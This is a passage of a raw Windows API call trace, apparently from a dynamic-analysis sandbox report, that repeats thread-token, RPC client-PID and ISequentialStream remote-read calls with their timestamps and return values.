pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.820] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.820] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.820] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.821] GetCurrentThread () returned 0xfffffffffffffffe [0147.821] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.821] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.821] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.821] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.821] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.821] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.821] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.821] GetCurrentThread () returned 0xfffffffffffffffe [0147.821] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.821] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.821] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.821] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.822] GetCurrentThread () returned 0xfffffffffffffffe [0147.822] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.822] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.822] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.822] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x83, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.822] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.823] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.823] GetCurrentThread () returned 0xfffffffffffffffe [0147.823] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.823] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.823] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.823] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.823] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.823] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.824] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.824] GetCurrentThread () returned 0xfffffffffffffffe [0147.824] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.824] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.824] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.824] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.824] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.824] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.824] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.824] GetCurrentThread () returned 0xfffffffffffffffe [0147.824] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.824] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.825] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.825] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.825] GetCurrentThread () returned 0xfffffffffffffffe [0147.825] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.825] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.825] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.825] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x40, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.825] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.826] GetCurrentThread () returned 0xfffffffffffffffe [0147.826] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.826] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.826] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.826] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x35, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.826] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.827] GetCurrentThread () returned 0xfffffffffffffffe [0147.827] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.827] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.827] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.827] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.827] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.828] GetCurrentThread () returned 0xfffffffffffffffe [0147.828] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.828] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.828] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.828] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x12, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.828] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.828] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.828] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.829] GetCurrentThread () returned 0xfffffffffffffffe [0147.829] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.829] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.829] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.829] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x93, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.829] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.829] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.829] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.829] GetCurrentThread () returned 0xfffffffffffffffe [0147.829] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.829] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.829] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.830] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.830] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.830] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.830] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.830] GetCurrentThread () returned 0xfffffffffffffffe [0147.830] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.830] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.830] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.830] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xef, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.830] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.831] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.831] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.831] GetCurrentThread () returned 0xfffffffffffffffe [0147.831] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.831] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.831] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.831] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x24, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.831] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.832] GetCurrentThread () returned 0xfffffffffffffffe [0147.832] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.832] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.832] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.832] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x42, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.832] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.833] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.833] GetCurrentThread () returned 0xfffffffffffffffe [0147.833] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.833] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.833] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.833] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x72, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.833] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.833] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.834] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.834] GetCurrentThread () returned 0xfffffffffffffffe [0147.834] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.834] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.834] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.834] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x72, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.834] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.834] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.834] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.834] GetCurrentThread () returned 0xfffffffffffffffe [0147.834] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.834] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.835] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.835] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.835] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.835] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.835] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.835] GetCurrentThread () returned 0xfffffffffffffffe [0147.835] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.835] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.835] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.835] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.836] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.836] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.836] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.836] GetCurrentThread () returned 0xfffffffffffffffe [0147.836] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.836] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.836] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.836] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.836] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.836] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.837] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.837] GetCurrentThread () returned 0xfffffffffffffffe [0147.837] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.837] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.837] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.837] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x36, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.837] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.838] GetCurrentThread () returned 0xfffffffffffffffe [0147.838] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.838] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.838] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.838] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.838] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.838] GetCurrentThread () returned 0xfffffffffffffffe [0147.838] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.838] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.838] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.839] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.839] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.839] GetCurrentThread () returned 0xfffffffffffffffe [0147.839] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.839] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.839] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.839] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.839] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.840] GetCurrentThread () returned 0xfffffffffffffffe [0147.840] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.840] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.840] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.840] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.840] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.840] GetCurrentThread () returned 0xfffffffffffffffe [0147.841] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.841] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.841] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.841] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xde, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.841] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.841] GetCurrentThread () returned 0xfffffffffffffffe [0147.841] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.841] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.841] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.841] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xab, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.841] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.842] GetCurrentThread () returned 0xfffffffffffffffe [0147.842] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.842] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.842] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.842] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.842] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.843] GetCurrentThread () returned 0xfffffffffffffffe [0147.843] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.843] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.843] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.843] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.843] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.843] GetCurrentThread () returned 0xfffffffffffffffe [0147.843] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.843] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.843] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.843] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x37, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.844] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.844] GetCurrentThread () returned 0xfffffffffffffffe [0147.844] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.844] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.844] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.844] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x92, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.844] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.845] GetCurrentThread () returned 0xfffffffffffffffe [0147.845] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.845] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.845] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.845] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.845] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.845] GetCurrentThread () returned 0xfffffffffffffffe [0147.845] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.845] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.846] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.846] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.846] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.846] GetCurrentThread () returned 0xfffffffffffffffe [0147.846] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.846] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.846] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.846] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x73, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.846] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.847] GetCurrentThread () returned 0xfffffffffffffffe [0147.847] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.847] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.847] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.847] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.847] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.847] GetCurrentThread () returned 0xfffffffffffffffe [0147.847] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.848] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.848] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.848] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.848] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.848] GetCurrentThread () returned 0xfffffffffffffffe [0147.848] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.848] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.848] SetThreadToken 